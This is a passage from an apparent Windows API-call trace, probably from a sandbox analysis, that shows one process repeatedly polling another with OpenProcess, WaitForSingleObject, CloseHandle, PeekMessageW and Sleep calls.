(dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.921] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.936] CloseHandle (hObject=0x1990) returned 1 [0283.936] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.936] Sleep (dwMilliseconds=0x1) [0283.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.951] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.967] CloseHandle (hObject=0x1990) returned 1 [0283.967] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.967] Sleep (dwMilliseconds=0x1) [0283.988] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0283.988] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0283.998] CloseHandle (hObject=0x1990) returned 1 [0283.998] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0283.998] Sleep (dwMilliseconds=0x1) [0284.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.014] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.030] CloseHandle (hObject=0x1990) returned 1 [0284.030] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.030] Sleep (dwMilliseconds=0x1) [0284.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.045] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.061] CloseHandle (hObject=0x1990) returned 1 [0284.061] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.061] Sleep (dwMilliseconds=0x1) [0284.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.076] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.092] CloseHandle (hObject=0x1990) returned 1 [0284.092] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.092] Sleep (dwMilliseconds=0x1) [0284.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.108] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.123] CloseHandle (hObject=0x1990) returned 1 [0284.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.123] Sleep (dwMilliseconds=0x1) [0284.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.139] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.155] CloseHandle (hObject=0x1990) returned 1 [0284.155] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.155] Sleep (dwMilliseconds=0x1) [0284.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.170] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.186] CloseHandle (hObject=0x1990) returned 1 [0284.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.186] Sleep (dwMilliseconds=0x1) [0284.203] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.203] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.217] CloseHandle (hObject=0x1990) returned 1 [0284.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.217] Sleep (dwMilliseconds=0x1) [0284.233] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.233] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.248] CloseHandle (hObject=0x1990) returned 1 [0284.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.248] Sleep (dwMilliseconds=0x1) [0284.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.264] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.280] CloseHandle (hObject=0x1990) returned 1 [0284.280] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.280] Sleep (dwMilliseconds=0x1) [0284.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.295] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.311] CloseHandle (hObject=0x1990) returned 1 [0284.311] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.311] Sleep (dwMilliseconds=0x1) [0284.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.326] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.342] CloseHandle (hObject=0x1990) returned 1 [0284.342] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.342] Sleep (dwMilliseconds=0x1) [0284.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.358] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.373] CloseHandle (hObject=0x1990) returned 1 [0284.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.373] Sleep (dwMilliseconds=0x1) [0284.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.389] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.405] CloseHandle (hObject=0x1990) returned 1 [0284.405] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.405] Sleep (dwMilliseconds=0x1) [0284.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.420] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.436] CloseHandle (hObject=0x1990) returned 1 [0284.436] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.436] Sleep (dwMilliseconds=0x1) [0284.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.451] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.467] CloseHandle (hObject=0x1990) returned 1 [0284.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.467] Sleep (dwMilliseconds=0x1) [0284.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.483] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.494] CloseHandle (hObject=0x1990) returned 1 [0284.494] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.494] Sleep (dwMilliseconds=0x1) [0284.495] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.495] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.505] CloseHandle (hObject=0x1990) returned 1 [0284.505] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.505] Sleep (dwMilliseconds=0x1) [0284.507] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.507] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.517] CloseHandle (hObject=0x1990) returned 1 [0284.517] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.517] Sleep (dwMilliseconds=0x1) [0284.519] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.519] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.538] CloseHandle (hObject=0x1990) returned 1 [0284.538] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.538] Sleep (dwMilliseconds=0x1) [0284.554] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.554] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.569] CloseHandle (hObject=0x1990) returned 1 [0284.570] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.570] Sleep (dwMilliseconds=0x1) [0284.585] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.585] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.600] CloseHandle (hObject=0x1990) returned 1 [0284.600] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.600] Sleep (dwMilliseconds=0x1) [0284.616] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.616] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.632] CloseHandle (hObject=0x1990) returned 1 [0284.632] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.632] Sleep (dwMilliseconds=0x1) [0284.647] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.647] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.663] CloseHandle (hObject=0x1990) returned 1 [0284.663] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.663] Sleep (dwMilliseconds=0x1) [0284.679] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.679] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.694] CloseHandle (hObject=0x1990) returned 1 [0284.694] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.694] Sleep (dwMilliseconds=0x1) [0284.710] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.710] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.725] CloseHandle (hObject=0x1990) returned 1 [0284.725] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.725] Sleep (dwMilliseconds=0x1) [0284.741] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.741] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.757] CloseHandle (hObject=0x1990) returned 1 [0284.757] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.757] Sleep (dwMilliseconds=0x1) [0284.782] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.782] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.788] CloseHandle (hObject=0x1990) returned 1 [0284.788] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.788] Sleep (dwMilliseconds=0x1) [0284.803] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.803] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.819] CloseHandle (hObject=0x1990) returned 1 [0284.819] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.819] Sleep (dwMilliseconds=0x1) [0284.835] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.835] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.850] CloseHandle (hObject=0x1990) returned 1 [0284.850] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.850] Sleep (dwMilliseconds=0x1) [0284.866] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.866] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.882] CloseHandle (hObject=0x1990) returned 1 [0284.882] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.882] Sleep (dwMilliseconds=0x1) [0284.897] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.897] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.913] CloseHandle (hObject=0x1990) returned 1 [0284.913] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.913] Sleep (dwMilliseconds=0x1) [0284.928] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.928] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.945] CloseHandle (hObject=0x1990) returned 1 [0284.945] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.945] Sleep (dwMilliseconds=0x1) [0284.960] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.960] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0284.975] CloseHandle (hObject=0x1990) returned 1 [0284.975] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0284.975] Sleep (dwMilliseconds=0x1) [0284.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0284.997] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.007] CloseHandle (hObject=0x1990) returned 1 [0285.007] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.007] Sleep (dwMilliseconds=0x1) [0285.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.023] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.038] CloseHandle (hObject=0x1990) returned 1 [0285.038] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.038] Sleep (dwMilliseconds=0x1) [0285.053] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.053] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.069] CloseHandle (hObject=0x1990) returned 1 [0285.069] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.069] Sleep (dwMilliseconds=0x1) [0285.085] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.085] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.100] CloseHandle (hObject=0x1990) returned 1 [0285.100] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.100] Sleep (dwMilliseconds=0x1) [0285.116] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.116] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.132] CloseHandle (hObject=0x1990) returned 1 [0285.132] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.132] Sleep (dwMilliseconds=0x1) [0285.147] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.147] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.163] CloseHandle (hObject=0x1990) returned 1 [0285.163] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.163] Sleep (dwMilliseconds=0x1) [0285.178] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.178] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.195] CloseHandle (hObject=0x1990) returned 1 [0285.195] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.195] Sleep (dwMilliseconds=0x1) [0285.211] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.211] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.225] CloseHandle (hObject=0x1990) returned 1 [0285.225] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.225] Sleep (dwMilliseconds=0x1) [0285.241] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.241] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.257] CloseHandle (hObject=0x1990) returned 1 [0285.257] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.257] Sleep (dwMilliseconds=0x1) [0285.272] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.272] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.288] CloseHandle (hObject=0x1990) returned 1 [0285.288] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.288] Sleep (dwMilliseconds=0x1) [0285.303] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.303] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.319] CloseHandle (hObject=0x1990) returned 1 [0285.319] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.319] Sleep (dwMilliseconds=0x1) [0285.335] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.335] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.350] CloseHandle (hObject=0x1990) returned 1 [0285.350] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.350] Sleep (dwMilliseconds=0x1) [0285.366] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.366] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.382] CloseHandle (hObject=0x1990) returned 1 [0285.382] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.382] Sleep (dwMilliseconds=0x1) [0285.397] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.397] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.413] CloseHandle (hObject=0x1990) returned 1 [0285.413] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.413] Sleep (dwMilliseconds=0x1) [0285.428] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.428] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.444] CloseHandle (hObject=0x1990) returned 1 [0285.444] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.444] Sleep (dwMilliseconds=0x1) [0285.460] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.460] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.475] CloseHandle (hObject=0x1990) returned 1 [0285.475] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.475] Sleep (dwMilliseconds=0x1) [0285.494] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.495] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.507] CloseHandle (hObject=0x1990) returned 1 [0285.507] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.507] Sleep (dwMilliseconds=0x1) [0285.522] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.522] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.538] CloseHandle (hObject=0x1990) returned 1 [0285.538] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.538] Sleep (dwMilliseconds=0x1) [0285.553] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.553] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.569] CloseHandle (hObject=0x1990) returned 1 [0285.569] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.569] Sleep (dwMilliseconds=0x1) [0285.585] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.585] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.600] CloseHandle (hObject=0x1990) returned 1 [0285.600] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.600] Sleep (dwMilliseconds=0x1) [0285.616] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.616] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.632] CloseHandle (hObject=0x1990) returned 1 [0285.632] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.632] Sleep (dwMilliseconds=0x1) [0285.647] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.647] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.663] CloseHandle (hObject=0x1990) returned 1 [0285.663] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0285.663] Sleep (dwMilliseconds=0x1) [0285.678] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0285.678] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0285.694] CloseHandle (hObject=0x1990) returned 1 [0285.695] PeekMessageW (in: lpMsg=0x354f90c, 